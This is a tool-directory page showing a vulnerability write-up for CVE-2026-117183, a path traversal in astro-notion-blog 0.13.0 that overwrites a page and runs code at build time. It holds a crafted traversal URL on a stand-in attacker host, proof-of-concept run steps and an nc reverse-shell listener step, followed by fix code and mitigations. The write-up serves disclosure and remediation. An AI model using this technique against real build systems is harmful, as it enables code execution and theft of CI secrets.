Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-117183 — Write-up and proof-of-concept for CVE-2026-117183, a path traversal in astro-notion-blog 0.13.0 that enables build-time RCE, with vulnerable code analysis and fix guidance. | Kitploit
工具/GitHubGitHub/primandito/cve-2026-117183
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubprimandito/cve-2026-117183

CVE-2026-117183

Write-up and proof-of-concept for CVE-2026-117183, a path traversal in astro-notion-blog 0.13.0 that enables build-time RCE, with vulnerable code analysis and fix guidance.

查看仓库
17天前尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-117183 — Build-time RCE via FeaturedImage Path Traversal in astro-notion-blog 0.13.0

CVE Version Status CVE State

Note: This vulnerability has been patched by the maintainer in PR #256 and released in version 0.13.1. If you are using an older version, please upgrade immediately.

Summary

astro-notion-blog v0.13.0 is vulnerable to a Path Traversal that leads to Remote Code Execution (RCE) during the build process. The downloadFile() function in src/lib/notion/client.ts takes the last segment of a remote image URL, runs it through decodeURIComponent(), and appends it to ./public/notion/. There is no validation to ensure the resulting path stays within that directory.

An attacker with edit access to the Notion database can set a FeaturedImage URL ending in %2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro. This decodes to ../../src/pages/index.astro, overwriting a real page. Since the featured-image-downloader integration fetches every post's image at astro:build:start, the overwritten file (which is a page Astro compiles in the same build) runs the attacker's frontmatter code in Node. This results in command execution as the build user.

FieldValue
CVE IDCVE-2026-117183
Official Recordcve.org/CVERecord?id=CVE-2026-117183
Affected Versionastro-notion-blog 0.6.1 to 0.13.0 (Tested: 0.13.0)
Fixed Version0.13.1 (via PR #256)
Vulnerability TypeCWE-22: Path Traversal -> CWE-94: Code Injection (RCE)
Attack VectorNetwork
Privileges RequiredLow (Requires edit access to the Notion database)
Affected Componentsrc/lib/notion/client.ts (downloadFile()), src/integrations/featured-image-downloader.ts
Original Reportotoyo/astro-notion-blog#255

Affected Files

  • src/lib/notion/client.ts
  • src/integrations/featured-image-downloader.ts

Vulnerable Code

The root cause is in src/lib/notion/client.ts:478-486 (tag 0.13.0):

const dir = './public/notion/' + url.pathname.split('/').slice(-2)[0]
if (!fs.existsSync(dir)) {
  fs.mkdirSync(dir, { recursive: true })
}

const filename = decodeURIComponent(url.pathname.split('/').slice(-1)[0])
const filepath = `${dir}/${filename}`

const writeStream = createWriteStream(filepath)

url.pathname keeps percent-encoding, so a / inside the last segment is still %2f. decodeURIComponent() turns it into a real separator, and filepath is just string concatenation. No path.basename, no path.resolve, and no check that the final path is still under public/notion.

The hook that feeds it is in src/integrations/featured-image-downloader.ts:7-25:

'astro:build:start': async () => {
  const posts = await getAllPosts()

  await Promise.all(
    posts.map((post) => {
      if (!post.FeaturedImage || !post.FeaturedImage.Url) {
        return Promise.resolve()
      }

      let url!: URL
      try {
        url = new URL(post.FeaturedImage.Url)
      } catch {
        console.log('Invalid FeaturedImage URL: ', post.FeaturedImage?.Url)
        return Promise.resolve()
      }

      return downloadFile(url)
    })
  )
},

Proof of Concept

A video of the full run and the exploit archive (f01-poc-exploit.zip) are attached to the original issue. The following steps outline the order of operations (exact values depend on your workspace):

  1. Duplicate the template linked in the project README.
  2. Create a new Notion connection with Read/Insert/Update access and copy the API token.
  3. Connect the duplicated page to the new connection.
  4. Copy the 32-hex database ID from the full page URL (before ?v=).
  5. Clone the target and install:
    git clone --branch 0.13.0 --depth 1 https://github.com/otoyo/astro-notion-blog.git target
    cd target
    npm ci
    
  6. Unpack the PoC and run it:
    unzip f01-poc-exploit.zip -d f01-poc
    cd f01-poc
    chmod +x run-*.sh
    ./run-interactive.sh
    
  7. Start a nc -lvnp <port> listener if using the shell payload (the runner waits for it).
  8. The runner prints checks and leaves evidence in a timestamped directory.

Path Math

For http://attacker.example/%2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro:

pathname                            /%2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro
split('/')                          ["", "%2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro"]
slice(-2)[0]                        ""              -> dir = "./public/notion/"
slice(-1)[0]                        "%2e%2e%2f%2e%2e%2fsrc%2fpages%2findex.astro"
decodeURIComponent(last segment)    "../../src/pages/index.astro"
filepath                            "./public/notion//../../src/pages/index.astro"
resolved                            "<repo>/src/pages/index.astro"

Why it Executes

The overwrite happens in astro:build:start, before Astro compiles the pages. The file that gets replaced is a page Astro is about to build. Anything in its frontmatter runs in Node during the build. The PoC payload is served as text/plain, so the image processing is skipped and the code executes.


Impact

Code execution as the user running astro build. On a dev machine, this is the developer's account. On CI, it is the runner, with whatever secrets the build has (Notion token, registry tokens, cloud credentials, etc.).

The attacker does not need the site's Notion token; they simply need edit access to the Notion database. The build host must be able to reach the attacker's URL.


The Official Fix

The maintainer addressed the issue in PR #256 by throwing an error if the filename is not safe.

For those who want to implement their own defense-in-depth, the recommended approaches are:

1. Generate a safe filename (Recommended):

import { randomUUID } from 'node:crypto'
import path from 'node:path'

const baseDir = path.resolve('./public/notion')
fs.mkdirSync(baseDir, { recursive: true })

const ext = path.extname(decodeURIComponent(url.pathname)).slice(0, 10)
const filepath = path.join(baseDir, `${randomUUID()}${ext}`)

2. Normalize and confine the original name:

import path from 'node:path'

const baseDir = path.resolve('./public/notion')
const decoded = decodeURIComponent(url.pathname.split('/').pop() ?? '')
const safeName = path.basename(decoded)

if (
  safeName !== decoded ||
  safeName === '.' ||
  safeName === '..' ||
  safeName.includes('\0')
) {
  throw new Error('Unsafe filename')
}

const filepath = path.resolve(baseDir, safeName)
if (!filepath.startsWith(baseDir + path.sep)) {
  throw new Error('Path escapes public/notion')
}

Additional Mitigations:

  • Allow only http and https schemes.
  • Cap the download size.
  • Reject URL credentials if not needed.
  • Add a post-build check: git status --short should not show changes under src/.

Timeline

DateEvent
2026-10-22Issue #255 reported to astro-notion-blog repository
2026-10-30Official CVE record published on cve.org
2026-11-03Fixed by maintainer in PR #256, released in v0.13.1

References

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    413
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    350
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    329
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    由 AI 驱动的 OSINT 引擎,可在网络上发现并映射 7,700+ 个社交媒体身份

    283

探索所有工具

浏览我们的工具集合

查看所有工具 →